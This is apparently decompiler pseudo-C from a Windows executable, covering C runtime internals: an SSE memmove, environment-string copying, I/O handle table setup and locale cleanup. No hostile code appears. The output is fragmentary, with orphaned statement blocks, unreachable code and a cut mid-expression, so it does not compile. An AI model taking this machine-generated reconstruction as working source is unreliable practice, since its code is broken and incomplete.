void** image_base_ = reinterpret_cast<void**>(0xf0);
struct s32 {
uint32_t f0;
signed char[4] pad8;
void** f8;
};
struct s33 {
void* f0;
void** f4;
};
struct s34 {
signed char[12] pad12;
void** fc;
};
struct s35 {
int32_t f0;
signed char f1;
signed char f2;
signed char f3;
};
struct s36 {
int32_t f0;
signed char f1;
signed char f2;
signed char f3;
};
void** fun_4044a0(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** esi6;
void** ecx7;
void** edi8;
signed char* esi9;
signed char* edi10;
int1_t cf11;
uint32_t edx12;
int1_t cf13;
int1_t cf14;
int1_t cf15;
void** edx16;
uint32_t ecx17;
uint32_t eax18;
uint32_t ecx19;
uint32_t ecx20;
uint32_t ecx21;
struct s32* esi22;
struct s33* esi23;
struct s34* esi24;
uint32_t eax25;
uint32_t edx26;
void** v27;
uint32_t eax28;
uint32_t ecx29;
uint32_t eax30;
void** edx31;
uint32_t edx32;
uint32_t edx33;
int1_t cf34;
uint32_t ecx35;
uint32_t edx36;
struct s35* esi37;
struct s36* edi38;
esi6 = a3;
ecx7 = a4;
edi8 = a2;
if (reinterpret_cast<unsigned char>(edi8) <= reinterpret_cast<unsigned char>(esi6) ||
reinterpret_cast<unsigned char>(edi8) >= reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(ecx7) + reinterpret_cast<unsigned char>(esi6))) {
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(32))
goto addr_40499b_3;
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(0x80))
goto addr_4044d1_5;
} else {
esi9 = reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(esi6) +
reinterpret_cast<unsigned char>(ecx7));
edi10 = reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(edi8) +
reinterpret_cast<unsigned char>(ecx7));
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(32)) {
addr_4048b4_7:
if (reinterpret_cast<unsigned char>(ecx7) & 0xfffffffc) {
do {
edi10 = edi10 - 4;
esi9 = esi9 - 4;
*edi10 = *esi9;
ecx7 = ecx7 - 4;
} while (reinterpret_cast<unsigned char>(ecx7) & 0xfffffffc);
goto addr_4048d1_9;
}
} else {
cf11 = static_cast<int1_t>(g416010 >> 1);
if (cf11) {
if (reinterpret_cast<uint32_t>(edi10) & 15) {
do {
--ecx7;
--esi9;
--edi10;
*edi10 = *esi9;
} while (reinterpret_cast<uint32_t>(edi10) & 15);
}
do {
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(0x80))
break;
esi9 = esi9 - 0x80;
edi10 = edi10 - 0x80;
__asm__("movdqu xmm0, [esi]");
__asm__("movdqu xmm1, [esi+0x10]");
__asm__("movdqu xmm2, [esi+0x20]");
__asm__("movdqu xmm3, [esi+0x30]");
__asm__("movdqu xmm4, [esi+0x40]");
__asm__("movdqu xmm5, [esi+0x50]");
__asm__("movdqu xmm6, [esi+0x60]");
__asm__("movdqu xmm7, [esi+0x70]");
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm1");
__asm__("movdqu [edi+0x20], xmm2");
__asm__("movdqu [edi+0x30], xmm3");
__asm__("movdqu [edi+0x40], xmm4");
__asm__("movdqu [edi+0x50], xmm5");
__asm__("movdqu [edi+0x60], xmm6");
__asm__("movdqu [edi+0x70], xmm7");
ecx7 = ecx7 - 0x80;
} while (reinterpret_cast<unsigned char>(ecx7) & 0xffffff80);
if (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned char>(32)) {
do {
esi9 = esi9 - 32;
edi10 = edi10 - 32;
__asm__("movdqu xmm0, [esi]");
__asm__("movdqu xmm1, [esi+0x10]");
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm1");
ecx7 = ecx7 - 32;
} while (reinterpret_cast<unsigned char>(ecx7) & 0xffffffe0);
goto addr_4048b4_7;
}
} else {
if (reinterpret_cast<uint32_t>(edi10) & 3) {
edx12 = reinterpret_cast<uint32_t>(edi10) & 3;
ecx7 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx7) - edx12);
do {
edi10[0xffffffff] = esi9[0xffffffff];
--esi9;
--edi10;
--edx12;
} while (edx12);
}
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(32))
goto addr_4048b4_7; else
goto addr_404796_21;
}
}
}
cf13 = static_cast<int1_t>(g416ae4 >> 1);
if (cf13) {
while (ecx7) {
--ecx7;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
++edi8;
++esi6;
}
return a2;
}
if ((reinterpret_cast<unsigned char>(edi8) ^ reinterpret_cast<unsigned char>(esi6)) & 15)
goto addr_404510_28;
cf14 = static_cast<int1_t>(g416010 >> 1);
if (cf14)
goto addr_4048f0_30;
addr_404510_28:
cf15 = static_cast<int1_t>(g416ae4);
if (!cf15 || reinterpret_cast<unsigned char>(edi8) & 3) {
addr_4046c7_31:
if (reinterpret_cast<unsigned char>(edi8) & 3) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
--ecx7;
++esi6;
++edi8;
} while (reinterpret_cast<unsigned char>(edi8) & 3);
goto addr_4046e2_33;
}
} else {
if (reinterpret_cast<unsigned char>(esi6) & 3) {
addr_4046e2_33:
edx16 = ecx7;
if (reinterpret_cast<unsigned char>(ecx7) < reinterpret_cast<unsigned char>(32)) {
addr_40499b_3:
ecx17 = reinterpret_cast<unsigned char>(ecx7) & 31;
if (ecx17) {
eax18 = ecx17;
ecx19 = ecx17 >> 2;
if (ecx19) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
edi8 = edi8 + 4;
esi6 = esi6 + 4;
--ecx19;
} while (ecx19);
}
ecx20 = eax18 & 3;
if (ecx20) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
++esi6;
++edi8;
--ecx20;
} while (ecx20);
}
}
} else {
ecx21 = reinterpret_cast<unsigned char>(ecx7) >> 2;
while (ecx21) {
--ecx21;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
edi8 = edi8 + 4;
esi6 = esi6 + 4;
}
goto *reinterpret_cast<int32_t*>((reinterpret_cast<unsigned char>(edx16) & 3) * 4 +
0x404704);
}
} else {
if (static_cast<int1_t>(reinterpret_cast<unsigned char>(edi8) >> 2)) {
ecx7 = ecx7 - 4;
esi6 = esi6 + 4;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
edi8 = edi8 + 4;
}
if (static_cast<int1_t>(reinterpret_cast<unsigned char>(edi8) >> 3)) {
__asm__("movq xmm1, [esi]");
ecx7 = ecx7 - 8;
esi6 = esi6 + 8;
__asm__("movq [edi], xmm1");
edi8 = edi8 + 8;
}
if (!(reinterpret_cast<unsigned char>(esi6) & 7)) {
__asm__("movdqa xmm1, [esi-0x8]");
esi22 = reinterpret_cast<struct s32*>(esi6 + 0xfffffff8);
ecx7 = ecx7;
do {
__asm__("movdqa xmm3, [esi+0x10]");
ecx7 = ecx7 - 48;
__asm__("movdqa xmm0, [esi+0x20]");
__asm__("movdqa xmm5, [esi+0x30]");
esi22 = reinterpret_cast<struct s32*>(reinterpret_cast<uint32_t>(esi22) + 48);
__asm__("movdqa xmm2, xmm3");
__asm__("palignr xmm3, xmm1, 0x8");
__asm__("movdqa [edi], xmm3");
__asm__("movdqa xmm4, xmm0");
__asm__("palignr xmm0, xmm2, 0x8");
__asm__("movdqa [edi+0x10], xmm0");
__asm__("movdqa xmm1, xmm5");
__asm__("palignr xmm5, xmm4, 0x8");
__asm__("movdqa [edi+0x20], xmm5");
edi8 = edi8 + 48;
} while (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned
char>(48));
esi6 = reinterpret_cast<void**>(&esi22->f8);
} else {
if (!static_cast<int1_t>(reinterpret_cast<unsigned char>(esi6) >> 3)) {
__asm__("movdqa xmm1, [esi-0x4]");
esi23 = reinterpret_cast<struct s33*>(esi6 + 0xfffffffc);
edi8 = edi8;
do {
__asm__("movdqa xmm3, [esi+0x10]");
ecx7 = ecx7 - 48;
__asm__("movdqa xmm0, [esi+0x20]");
__asm__("movdqa xmm5, [esi+0x30]");
esi23 = reinterpret_cast<struct s33*>(reinterpret_cast<uint32_t>(esi23) + 48);
__asm__("movdqa xmm2, xmm3");
__asm__("palignr xmm3, xmm1, 0x4");
__asm__("movdqa [edi], xmm3");
__asm__("movdqa xmm4, xmm0");
__asm__("palignr xmm0, xmm2, 0x4");
__asm__("movdqa [edi+0x10], xmm0");
__asm__("movdqa xmm1, xmm5");
__asm__("palignr xmm5, xmm4, 0x4");
__asm__("movdqa [edi+0x20], xmm5");
edi8 = edi8 + 48;
} while (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned
char>(48));
esi6 = reinterpret_cast<void**>(&esi23->f4);
} else {
__asm__("movdqa xmm1, [esi-0xc]");
esi24 = reinterpret_cast<struct s34*>(esi6 + 0xfffffff4);
edi8 = edi8;
do {
__asm__("movdqa xmm3, [esi+0x10]");
ecx7 = ecx7 - 48;
__asm__("movdqa xmm0, [esi+0x20]");
__asm__("movdqa xmm5, [esi+0x30]");
esi24 = reinterpret_cast<struct s34*>(reinterpret_cast<uint32_t>(esi24) + 48);
__asm__("movdqa xmm2, xmm3");
__asm__("palignr xmm3, xmm1, 0xc");
__asm__("movdqa [edi], xmm3");
__asm__("movdqa xmm4, xmm0");
__asm__("palignr xmm0, xmm2, 0xc");
__asm__("movdqa [edi+0x10], xmm0");
__asm__("movdqa xmm1, xmm5");
__asm__("palignr xmm5, xmm4, 0xc");
__asm__("movdqa [edi+0x20], xmm5");
edi8 = edi8 + 48;
} while (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned
char>(48));
esi6 = reinterpret_cast<void**>(&esi24->fc);
}
}
while (reinterpret_cast<unsigned char>(ecx7) >= reinterpret_cast<unsigned char>(16)) {
__asm__("movdqu xmm1, [esi]");
ecx7 = ecx7 - 16;
esi6 = esi6 + 16;
__asm__("movdqa [edi], xmm1");
edi8 = edi8 + 16;
}
if (static_cast<int1_t>(reinterpret_cast<unsigned char>(ecx7) >> 2)) {
ecx7 = ecx7 - 4;
esi6 = esi6 + 4;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
edi8 = edi8 + 4;
}
if (static_cast<int1_t>(reinterpret_cast<unsigned char>(ecx7) >> 3)) {
__asm__("movq xmm1, [esi]");
ecx7 = ecx7 - 8;
esi6 = esi6 + 8;
__asm__("movq [edi], xmm1");
edi8 = edi8 + 8;
}
goto *reinterpret_cast<int32_t*>(reinterpret_cast<unsigned char>(ecx7) * 4 +
0x404704);
}
}
return a2;
return a2;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
return a2;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
*reinterpret_cast<void***>(edi8 + 1) = *reinterpret_cast<void***>(esi6 + 1);
return a2;
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
*reinterpret_cast<void***>(edi8 + 1) = *reinterpret_cast<void***>(esi6 + 1);
*reinterpret_cast<void***>(edi8 + 2) = *reinterpret_cast<void***>(esi6 + 2);
return a2;
addr_4048f0_30:
eax25 = reinterpret_cast<unsigned char>(esi6) & 15;
if (eax25) {
edx26 = 16 - eax25;
v27 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx7) - edx26);
eax28 = edx26;
ecx29 = eax28 & 3;
if (ecx29) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
++esi6;
++edi8;
--ecx29;
} while (ecx29);
}
eax30 = eax28 >> 2;
if (eax30) {
do {
*reinterpret_cast<void***>(edi8) = *reinterpret_cast<void***>(esi6);
esi6 = esi6 + 4;
edi8 = edi8 + 4;
--eax30;
} while (eax30);
}
ecx7 = v27;
}
edx31 = ecx7;
ecx7 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx7) & 0x7f);
edx32 = reinterpret_cast<unsigned char>(edx31) >> 7;
if (edx32) {
edi8 = edi8;
do {
__asm__("movdqa xmm0, [esi]");
__asm__("movdqa xmm1, [esi+0x10]");
__asm__("movdqa xmm2, [esi+0x20]");
__asm__("movdqa xmm3, [esi+0x30]");
__asm__("movdqa [edi], xmm0");
__asm__("movdqa [edi+0x10], xmm1");
__asm__("movdqa [edi+0x20], xmm2");
__asm__("movdqa [edi+0x30], xmm3");
__asm__("movdqa xmm4, [esi+0x40]");
__asm__("movdqa xmm5, [esi+0x50]");
__asm__("movdqa xmm6, [esi+0x60]");
__asm__("movdqa xmm7, [esi+0x70]");
__asm__("movdqa [edi+0x40], xmm4");
__asm__("movdqa [edi+0x50], xmm5");
__asm__("movdqa [edi+0x60], xmm6");
__asm__("movdqa [edi+0x70], xmm7");
esi6 = esi6 + 0x80;
edi8 = edi8 + 0x80;
--edx32;
} while (edx32);
}
if (ecx7) {
edx33 = reinterpret_cast<unsigned char>(ecx7) >> 5;
if (edx33) {
do {
__asm__("movdqu xmm0, [esi]");
__asm__("movdqu xmm1, [esi+0x10]");
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm1");
esi6 = esi6 + 32;
edi8 = edi8 + 32;
--edx33;
} while (edx33);
goto addr_40499b_3;
}
}
addr_4044d1_5:
cf34 = static_cast<int1_t>(g416010 >> 1);
if (!cf34) {
goto addr_4046c7_31;
}
addr_4048d1_9:
if (ecx7) {
do {
--edi10;
--esi9;
*edi10 = *esi9;
--ecx7;
} while (ecx7);
}
return a2;
addr_404796_21:
ecx35 = reinterpret_cast<unsigned char>(ecx7) >> 2;
edx36 = reinterpret_cast<unsigned char>(ecx7) & 3;
esi37 = reinterpret_cast<struct s35*>(esi9 - 4);
edi38 = reinterpret_cast<struct s36*>(edi10 - 4);
while (ecx35) {
--ecx35;
edi38->f0 = esi37->f0;
edi38 = reinterpret_cast<struct s36*>(reinterpret_cast<uint32_t>(edi38) - 4);
esi37 = reinterpret_cast<struct s35*>(reinterpret_cast<uint32_t>(esi37) - 4);
}
goto *reinterpret_cast<int32_t*>(edx36 * 4 + 0x4047b0);
return a2;
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 3) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 3);
return a2;
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 3) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 3);
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 2) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 2);
return a2;
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 3) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 3);
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 2) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 2);
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(edi38) + 1) =
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(esi37) + 1);
return a2;
}
void** fun_407a01(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** v11;
void** v12;
void** edi13;
void** eax14;
void** ebx15;
void** eax16;
void* eax17;
void** ebx18;
void** esi19;
void** eax20;
void** edi21;
v11 = reinterpret_cast<void**>(__return_address());
v12 = edi13;
eax14 = reinterpret_cast<void**>(GetEnvironmentStringsW());
if (eax14) {
eax16 = fun_4079ca(eax14, ebx15);
eax17 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(eax16) - reinterpret_cast<unsigned char>(eax14)) >> 1);
ebx18 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(eax17) +
reinterpret_cast<uint32_t>(eax17));
eax20 = fun_408217(ebx18, eax14, ebx15, v12, esi19, v11, a1, a2, a3, a4, a5, a6, a7);
edi21 = eax20;
if (edi21) {
fun_4044a0(eax14, edi21, eax14, ebx18, ebx15);
}
fun_406c46(eax14, 0, ebx15, v12, esi19, v11, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10);
FreeEnvironmentStringsW(0);
} else {
edi21 = reinterpret_cast<void**>(0);
}
return edi21;
}
LeaveCriticalSection();
goto ebp2;
}
struct s37 {
signed char[8] pad8;
uint32_t f8;
};
void** g417240;
struct s38 {
signed char[8] pad8;
void** f8;
};
void** fun_407af1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9);
int32_t fun_407ba0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** v8;
uint32_t eax9;
struct s37* ebp10;
int32_t ebp11;
int32_t ebp12;
void** edi13;
void** eax14;
int32_t ebp15;
struct s38* ebp16;
void** eax17;
void** eax18;
void** eax19;
int32_t ebp20;
int32_t ebp21;
v8 = reinterpret_cast<void**>(__return_address());
eax9 = fun_4038a0(ecx, 0x414a28, 20, v8);
if (-(eax9 - (eax9 + (eax9 < eax9 + (ebp10->f8 < 0x2000))))) {
*reinterpret_cast<void***>(ebp11 - 28) = reinterpret_cast<void**>(0);
fun_407a92(ecx, 7);
ecx = reinterpret_cast<void**>(7);
*reinterpret_cast<void***>(ebp12 - 4) = reinterpret_cast<void**>(0);
edi13 = reinterpret_cast<void**>(0);
eax14 = g417240;
while (*reinterpret_cast<void***>(ebp15 - 32) = edi13, reinterpret_cast<signed
char>(ebp16->f8) >= reinterpret_cast<signed char>(eax14)) {
if (!*reinterpret_cast<void***>(reinterpret_cast<unsigned char>(edi13) * 4 + 0x417040)) {
eax17 = fun_407af1(7, 0x414a28, 20, v8, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(reinterpret_cast<unsigned char>(edi13) * 4 + 0x417040) =
eax17;
if (!eax17)
goto addr_407c08_6;
eax18 = g417240;
eax14 = eax18 + 64;
g417240 = eax14;
}
++edi13;
}
} else {
eax19 = fun_4060e8(ecx, 0x414a28, 20, v8, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax19) = reinterpret_cast<void**>(9);
fun_40602c(ecx, 0x414a28, 20, v8, a2);
goto addr_407bc8_10;
}
addr_407c0e_11:
*reinterpret_cast<int32_t*>(ebp20 - 4) = -2;
fun_407c2f(7);
addr_407bc8_10:
fun_4038f0(ecx, 0x414a28, 20, v8, a2);
goto 0x414a28;
addr_407c08_6:
*reinterpret_cast<void***>(ebp21 - 28) = reinterpret_cast<void**>(12);
goto addr_407c0e_11;
}
void** fun_407af1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** v11;
void** ebp12;
void** v13;
void** v14;
void** ebx15;
void** v16;
void** edi17;
void** eax18;
void** edi19;
void** v20;
void** eax21;
void** esi22;
void** edi23;
v10 = reinterpret_cast<void**>(__return_address());
v11 = ebp12;
v13 = ecx;
v14 = ebx15;
v16 = edi17;
eax18 = fun_406be9(ecx, 64, 48, v16, v14, ecx, v13, v11);
edi19 = eax18;
v20 = edi19;
if (edi19) {
eax21 = edi19 + 0xc00;
if (edi19 != eax21) {
esi22 = edi19 + 32;
edi23 = eax21;
do {
fun_4063c3(48, esi22 + 0xffffffe0, 0xfa0, 0);
*reinterpret_cast<uint32_t*>(esi22 + 0xfffffff8) = 0xffffffff;
*reinterpret_cast<void***>(esi22) = reinterpret_cast<void**>(0);
esi22 = esi22 + 48;
*reinterpret_cast<void***>(esi22 + 0xffffffd4) = reinterpret_cast<void**>(0);
*reinterpret_cast<int32_t*>(esi22 + 0xffffffd8) = 0xa0a0000;
*reinterpret_cast<signed char*>(esi22 + 0xffffffdc) = 10;
*reinterpret_cast<unsigned char*>(esi22 + 0xffffffdd) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(esi22 + 0xffffffdd) & 0xf8);
*reinterpret_cast<signed char*>(esi22 + 0xffffffde) = 0;
} while (esi22 + 0xffffffe0 != edi23);
edi19 = v20;
}
} else {
edi19 = reinterpret_cast<void**>(0);
}
fun_406c46(48, 0, v16, v14, v20, v13, v11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
return edi19;
}
void** g416b90;
void** fun_404c48() {
void** eax1;
eax1 = g416b90;
return eax1;
}
void** fun_4060d5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** eax11;
eax11 = fun_4069e2(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10);
if (eax11) {
return eax11 + 20;
} else {
return 0x416054;
}
}
struct s39 {
void** f0;
signed char[3] pad4;
unsigned char f4;
};
struct s40 {
signed char[24] pad24;
int32_t f18;
signed char[12] pad40;
unsigned char f28;
};
v2 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 +
0xffffffb8);
GetStartupInfoW(v2);
if (v3 && v4) {
esi5 = v4->f0;
ebx6 = &v4->f4;
v7 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(ebx6) +
reinterpret_cast<unsigned char>(esi5));
if (reinterpret_cast<signed char>(esi5) >= reinterpret_cast<signed char>(0x2000)) {
esi5 = reinterpret_cast<void**>(0x2000);
}
fun_407ba0(ecx, esi5, esi8, ebx9, v2, v10, v11);
eax12 = g417240;
if (reinterpret_cast<signed char>(esi5) > reinterpret_cast<signed char>(eax12)) {
esi5 = eax12;
}
edi13 = reinterpret_cast<void**>(0);
if (esi5) {
eax14 = v7;
do {
if (*eax14 != -1 && (*eax14 != -2 && *ebx6 & 1)) {
if (*ebx6 & 8 || (v15 = *eax14, eax16 = reinterpret_cast<int32_t>(GetFileType(v15)),
!!eax16)) {
edx17 = reinterpret_cast<struct s40*>((reinterpret_cast<unsigned char>(edi13) &
63) * 48 + reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed
char>(edi13) >> 6) * 4 + 0x417040)));
edx17->f18 = *v7;
edx17->f28 = *ebx6;
}
eax14 = v7;
}
++edi13;
++eax14;
++ebx6;
v7 = eax14;
} while (edi13 != esi5);
}
}
return;
}
struct s41 {
signed char[24] pad24;
int32_t f18;
signed char[12] pad40;
unsigned char f28;
};
void** g417274;
edi2 = 0;
do {
esi3 = reinterpret_cast<struct s41*>((edi2 & 63) * 48 +
reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<int32_t>(edi2) >> 6) * 4 +
0x417040)));
if (esi3->f18 == -1 || esi3->f18 == -2) {
esi3->f28 = 0x81;
eax4 = edi2;
if (!eax4) {
v5 = 0xf6;
} else {
if (!(eax4 - 1)) {
v5 = 0xf5;
} else {
v5 = 0xf4;
}
}
eax6 = reinterpret_cast<int32_t>(GetStdHandle(v5));
if (eax6 == -1 || !eax6) {
eax7 = 0;
} else {
eax7 = reinterpret_cast<uint32_t>(GetFileType(eax6, v5));
}
if (!eax7) {
esi3->f28 = reinterpret_cast<unsigned char>(esi3->f28 | 64);
esi3->f18 = -2;
eax8 = g417274;
if (eax8) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax8 + edi2 * 4) + 16) =
reinterpret_cast<void**>(0xfffffffe);
}
} else {
eax9 = eax7 & 0xff;
esi3->f18 = eax6;
if (eax9 != 2) {
if (eax9 == 3) {
esi3->f28 = reinterpret_cast<unsigned char>(esi3->f28 | 8);
}
} else {
esi3->f28 = reinterpret_cast<unsigned char>(esi3->f28 | 64);
}
}
} else {
esi3->f28 = reinterpret_cast<unsigned char>(esi3->f28 | 0x80);
}
++edi2;
} while (edi2 != 3);
return;
}
void** fun_407b6b(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** v11;
void** v12;
void** ebp13;
void** v14;
void** esi15;
void** esi16;
int32_t v17;
int32_t ebx18;
void** ebx19;
void** v20;
void** edi21;
void** edi22;
void** eax23;
v11 = reinterpret_cast<void**>(__return_address());
v12 = ebp13;
v14 = esi15;
esi16 = a2;
if (esi16) {
v17 = ebx18;
ebx19 = esi16 + 0xc00;
v20 = edi21;
edi22 = esi16;
if (esi16 != ebx19) {
do {
DeleteCriticalSection(edi22);
edi22 = edi22 + 48;
} while (edi22 != ebx19);
}
eax23 = fun_406c46(ecx, esi16, v20, *reinterpret_cast<void***>(&v17), v14, v12, v11, a2,
a3, a4, a5, a6, a7, a8, a9, a10);
}
return eax23;
}
void fun_40922e(void** a1, void** a2, void** a3, void** a4, void** a5);
void** fun_407f67(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** ebp11;
void** eax12;
void** v13;
v10 = reinterpret_cast<void**>(__return_address());
eax12 = fun_40695e(ecx, ecx, ebp11, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v13 = *reinterpret_cast<void***>(eax12 + 76);
fun_40922e(eax12, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffffc, v13,
ebp11, v10);
return *reinterpret_cast<void***>(v13);
}
void** fun_4080f7(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17);
void** fun_408133(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13) {
void** v14;
void** v15;
void** ebp16;
void** v17;
void** esi18;
void** v19;
void** v20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** eax35;
v14 = reinterpret_cast<void**>(__return_address());
v15 = ebp16;
v17 = esi18;
if (a2) {
v19 = a2;
fun_4080f7(v19, 7, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
v20 = a2 + 28;
fun_4080f7(v20, 7, v19, 7, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
v21 = a2 + 56;
fun_4080f7(v21, 12, v20, 7, v19, 7, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9);
v22 = a2 + 0x68;
fun_4080f7(v22, 12, v21, 12, v20, 7, v19, 7, v17, v15, v14, a2, a3, a4, a5, a6, a7);
v23 = a2 + 0x98;
fun_4080f7(v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15, v14, a2, a3, a4, a5);
v24 = *reinterpret_cast<void***>(a2 + 0xa0);
fun_406c46(ecx, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15, v14, a2);
v25 = *reinterpret_cast<void***>(a2 + 0xa4);
fun_406c46(ecx, v25, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15, v14);
v26 = *reinterpret_cast<void***>(a2 + 0xa8);
fun_406c46(ecx, v26, v25, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15);
v27 = a2 + 0xb4;
fun_4080f7(v27, 7, v26, v25, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7, v17, v15);
fun_4080f7(a2 + 0xd0, 7, v27, 7, v26, v25, v24, v23, 2, v22, 12, v21, 12, v20, 7, v19, 7);
v28 = a2 + 0xec;
fun_4080f7(v28, 12, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
v29 = a2 + 0x11c;
fun_4080f7(v29, 12, v28, 12, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
v30 = a2 + 0x14c;
fun_4080f7(v30, 2, v29, 12, v28, 12, v17, v15, v14, a2, a3, a4, a5, a6, a7, a8, a9);
v31 = *reinterpret_cast<void***>(a2 + 0x154);
fun_406c46(ecx, v31, v30, 2, v29, 12, v28, 12, v17, v15, v14, a2, a3, a4, a5, a6);
v32 = *reinterpret_cast<void***>(a2 + 0x158);
fun_406c46(ecx, v32, v31, v30, 2, v29, 12, v28, 12, v17, v15, v14, a2, a3, a4, a5);
v33 = *reinterpret_cast<void***>(a2 + 0x15c);
fun_406c46(ecx, v33, v32, v31, v30, 2, v29, 12, v28, 12, v17, v15, v14, a2, a3, a4);
v34 = *reinterpret_cast<void***>(a2 + 0x160);
eax35 = fun_406c46(ecx, v34, v33, v32, v31, v30, 2, v29, 12, v28, 12, v17, v15, v14, a2,
a3);
}
return eax35;
}
void** fun_4080f7(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17) {
void** v18;
void** v19;
void** ebp20;
void** v21;
void** ebx22;
int32_t v23;
int32_t esi24;
void** esi25;
void** v26;
void** edi27;
uint32_t edi28;
void** eax29;
void** ecx30;
uint32_t ebx31;
int32_t ebx32;
int32_t ebx33;
uint32_t ebx34;
int32_t ebx35;
void** v36;
v18 = reinterpret_cast<void**>(__return_address());
v19 = ebp20;
v21 = ebx22;
v23 = esi24;
esi25 = a1;
v26 = edi27;
edi28 = 0;
eax29 = esi25 + reinterpret_cast<unsigned char>(a2) * 4;
ecx30 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax29) -
reinterpret_cast<unsigned char>(esi25) + 3 >> 2);
ebx31 = ~(ebx32 - (ebx33 + reinterpret_cast<uint1_t>(ebx34 < ebx35 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax29) < reinterpret_cast<unsigned
